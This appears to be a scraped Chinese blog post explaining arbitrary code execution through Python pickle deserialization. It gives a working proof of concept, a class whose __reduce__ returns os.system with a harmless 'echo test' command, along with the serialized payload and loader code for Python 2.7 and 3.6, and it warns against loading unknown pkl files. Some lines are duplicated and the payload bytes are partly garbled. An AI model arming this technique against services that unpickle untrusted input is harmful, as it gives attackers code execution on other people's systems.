Python Pickle任意代码执行漏洞
2018-02-28 19:01
591 查看
我们通常使用pickle将python对象序列化,但是pickle在加载时有一个副作用就是它会自动加载相应模块并构造实例对象。这样就造成了一个很危险的代码,如果被黑客利用的话会造成非常严重的后果。
我首先在python2.7下测试,通过如下代码生成
输出的
我们通过如下代码去执行
通过执行上面这个代码,我们在相同文件夹下生成了
接着我们将上面的测试放到python3.6下面,通过和python2.7下面相同的代码生成payload
我们通过如下代码去执行
通过执行上面这个代码,我们得到了和python2.7下面相同的结果。
也就是说,只要在我们编写的代码中有打开
我首先在python2.7下测试,通过如下代码生成
payload
import pickle import os class gen(object): def __reduce__(self): s = """echo test > payload.txt""" return os.system, (s,) p = gen() payload = pickle.dumps(p) with open('payload.pkl', 'wb') as f: f.write(payload)
输出的
payload是这样的
cnt system p1 (S'echo test > payload.txt' p2 tRp3 .
我们通过如下代码去执行
payload
import pickle pickle.load(open('./payload.pkl'))
通过执行上面这个代码,我们在相同文件夹下生成了
payload.txt文件,并且内容是
test。
接着我们将上面的测试放到python3.6下面,通过和python2.7下面相同的代码生成payload
€cnt system q X echo test > payload.txtq卶Rq.
我们通过如下代码去执行
payload
import pickle pickle.load(open('./payload.pkl', 'rb'))
通过执行上面这个代码,我们得到了和python2.7下面相同的结果。
也就是说,只要在我们编写的代码中有打开
pkl文件操作的代码存在的话,那么都会出现上述的问题。你可以想象到,这是多么危险的一件事情。所以这就要求我们在编写代码时,不要随便打开不知名的
pkl文件。
相关文章推荐
- 利用Python pickle实现任意代码执行
- python pickle命令执行与marshal 任意代码执行
- [2012-4-10]ThinkPHP框架被爆任意代码执行漏洞(preg_replace)
- 格式化字符串漏洞执行任意代码分析
- Nginx %00空字节执行任意代码(php)漏洞
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- Discuz! 6.x/7.x 版本 前台任意代码执行漏洞
- WordPress WP Super Cache插件任意代码执行漏洞
- LibreHealthIO LH-EHR 任意代码执行安全漏洞(CVE-2018-1000646)
- 利用本地包含漏洞执行任意代码
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- ThinkPHP framework 任意代码执行漏洞预警
- thinkphp任意代码执行漏洞
- ThinkPHP2.2 任意代码执行漏洞 利用
- phpcms前台任意代码执行漏洞(php<5.3)
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- IE 5.5 Index.dat 执行任意代码漏洞
- Struts2/XWork远程执行任意代码漏洞